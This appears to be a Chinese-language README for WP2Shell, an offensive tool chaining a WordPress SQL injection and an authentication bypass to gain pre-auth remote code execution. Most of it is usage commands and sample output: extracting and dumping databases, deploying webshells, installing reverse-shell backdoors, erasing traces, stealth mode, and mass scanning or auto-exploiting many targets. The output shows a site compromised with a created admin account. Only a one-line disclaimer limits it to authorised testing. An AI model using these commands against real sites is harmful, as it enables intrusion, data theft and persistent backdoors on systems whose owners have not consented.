
模块化 WordPress 预认证漏洞利用框架,链式组合 SQL 注入与身份验证绕过,以实现远程代码执行、交互式 Shell、后门植入和大规模漏洞扫描。
CVE-2026-63030 + CVE-2026-60137
版本: 4.0.0
作者: G0D150NE
WP2Shell 是一款针对 WordPress 预认证远程代码执行的全链路漏洞利用工具,它组合了两个严重漏洞:
该工具允许在无需任何身份验证的情况下完全攻陷存在漏洞的 WordPress 站点——从检测到完整的 RCE 与持久化。
# Clone repository
git clone https://github.com/g0d150ne/wp2shell.git
cd wp2shell
# No dependencies needed - uses Python 3.8+ standard library
chmod +x wp2shell.py
python3 wp2shell.py [COMMAND] [OPTIONS] [TARGET]
| 命令 | 描述 |
|---|---|
check | 非破坏性漏洞确认 |
read | 通过 SQL 注入提取数据 |
exploit | 完整预认证 RCE 攻击链 |
shell | 使用已有凭据部署 webshell |
masscan | 批量扫描多个目标 |
autopwn | 自动发现 → 扫描 → 利用 |
python3 wp2shell.py check https://target.com
python3 wp2shell.py check https://target.com --confirm-timing --sleep 5
基本指纹获取:
python3 wp2shell.py read https://target.com
提取用户:
python3 wp2shell.py read https://target.com --preset users
自定义查询:
python3 wp2shell.py read https://target.com --query "SELECT @@version"
导出整个数据库:
python3 wp2shell.py read https://target.com --preset dumpall --max-length 4096
基础利用:
python3 wp2shell.py exploit https://target.com
利用并进入交互式 Shell:
python3 wp2shell.py exploit https://target.com --interactive
利用并安装后门:
python3 wp2shell.py exploit https://target.com --backdoor --lhost 192.168.1.100 --lport 4444
利用并导出数据库:
python3 wp2shell.py exploit https://target.com --dumpdb
利用后清理(清除痕迹):
python3 wp2shell.py exploit https://target.com --cleanup
python3 wp2shell.py shell https://target.com --user admin --password secret123 --interactive
python3 wp2shell.py shell https://target.com --user admin --password secret123 --command "whoami"
# Create targets file
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt
# Scan with 50 threads
python3 wp2shell.py masscan --file targets.txt --threads 50 --output results.csv
python3 wp2shell.py autopwn --domain example.com --lhost 192.168.1.100
此模式将执行以下操作:
利用完成后,你将获得一个完整的交互式 Shell:
python3 wp2shell.py exploit https://target.com -i
[*] Interactive shell — type 'exit' to quit
/var/www/html $ id
uid=33(www-data) gid=33(www-data)
/var/www/html $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
/var/www/html $ exit
| 选项 | 描述 |
|---|---|
--timeout | HTTP 超时时间(秒,默认:30) |
--proxies | 逗号分隔的代理列表(例如:http://127.0.0.1:8080) |
--stealth | 启用带随机延迟的隐身模式 |
-v, --verbose | 启用调试输出 |
-q, --quiet | 抑制横幅和信息消息 |
| 选项 | 描述 |
|---|---|
--prefix | 表前缀(默认:wp_) |
--auto-prefix | 自动发现表前缀 |
--max-length | 每个值的最大字符数(默认:128) |
--technique | 提取技术:auto/union/error/blind |
--preset | 数据预设:fingerprint/users/dumpall |
--query | 要提取的任意 SQL 表达式 |
| 选项 | 描述 |
|---|---|
--prefix | 表前缀(默认:wp_) |
--no-discover | 跳过自动发现,使用默认值 |
-i, --interactive | 利用完成后进入 Shell |
-c, --command | 利用完成后执行单条命令 |
--backdoor | 安装持久化后门 |
--lhost | 反弹 Shell 的 LHOST(默认:10.0.0.1) |
--lport | 反弹 Shell 的 LPORT(默认:4444) |
--dumpdb | 利用完成后导出数据库 |
--cleanup | 退出时删除创建的用户和 webshell |
SQL 注入(CVE-2026-63030)
/wp-json/batch/v1 端点author_exclude 参数存在基于时间的盲注 SQLi 漏洞身份验证绕过(CVE-2026-60137)
/_embed 参数进行 oEmbed 缓存投毒| 版本 | 状态 |
|---|---|
| 6.9.0 | ✅ 存在漏洞 |
| 6.9.1 | ✅ 存在漏洞 |
| 6.9.2 | ✅ 存在漏洞 |
| 6.9.3 | ✅ 存在漏洞 |
| 6.9.4 | ✅ 存在漏洞 |
| 7.0.0 | ✅ 存在漏洞 |
| 7.0.1 | ✅ 存在漏洞 |
| ≥ 7.0.2 | ❌ 已修补 |
| 技术 | 速度 | 数据大小 | 要求 |
|---|---|---|---|
| UNION | ⚡ 非常快 | 无限制 | 目标不得过滤 UNION |
| Error | 🚀 快 | 约 30 字符/请求 | 目标必须暴露错误消息 |
| Blind | 🐢 慢 | 无限制 | 布尔盲注条件可用 |
░▒▓█▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓███████▓▒░▒▓███████▓▒░ ░▒▓███████▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓████████▓▒░▒▓█▓▒░ ░▒▓█▓▒░
CVE-2026-63030 + CVE-2026-60137
WordPress Pre-Auth RCE [v4.0.0]
+ G0D150NE
[1/7] Reconnaissance
Target: https://target.com
WordPress 6.9.3
[+] UNION extraction available (in-band, 1 request/value)
[2/7] Enumerating target
[+] Discovered table prefix: wp_
[3/7] Locating embed target
[+] Embed URL: https://target.com/2020/01/01/hello-world/
[4/7] Seeding oEmbed cache posts
[+] Seed payload delivered
[5/7] Extracting cache post IDs
[+] Cache IDs: [12345, 12346, 12347, 12348]
[6/7] Triggering escalation chain
[+] Administrator created via re-entry chain
[7/7] Deploying webshell
[+] Authenticated
[+] RCE confirmed
uid: www-data
[+] ========================================================
[+] TARGET COMPROMISED
[+] Admin: wp_service_a1b2 / G7hK9xQw2p$L!mN
[+] Shell: https://target.com/wp-content/plugins/cache_a1b2/cache_a1b2.php
[+] ========================================================
本工具仅用于授权的安全测试和教育目的。未经明确许可对系统进行使用属于违法行为。作者对任何滥用行为不承担任何责任。
发现 Bug?想要改进该工具?欢迎提交 Pull Request!
MIT 许可证 - 详情请参阅 LICENSE 文件。